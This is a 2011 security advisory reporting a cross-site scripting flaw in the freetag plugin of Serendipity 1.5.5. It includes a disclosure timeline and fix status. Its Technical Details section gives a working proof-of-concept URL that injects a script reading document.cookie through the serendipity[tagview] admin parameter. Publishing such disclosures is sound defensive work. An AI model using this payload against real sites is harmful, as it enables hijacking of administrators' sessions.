Serendipity 1.5.5 Freetag Cross Site Scripting

`Advisory: Serendipity freetag plugin 'serendipity[tagview]' Cross-Site Scripting vulnerability  
Advisory ID: SSCHADV2011-016  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Serendipity 1.5.5  
Vendor URL: http://www.s9y.org  
Vendor Status: fixed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
The freetag plugin parameter "serendipity[tagview]" in Serendipity backend is prone to a Cross-Site Scripting vulnerability  
  
==================  
Technical Details:  
==================  
  
http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=<script>alert(document.cookie)</script>  
  
=========  
Solution:  
=========  
  
Update to the latest version  
  
====================  
Disclosure Timeline:  
====================  
  
22-Sep-2011 - informed developers  
23-Sep-2011 - fixed in the latest version  
25-Sep-2011 - release date of this security advisory  
25-Sep-2011 - post on BugTraq  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.s9y.org  
http://www.rul3z.de/advisories/SSCHADV2011-016.txt  
`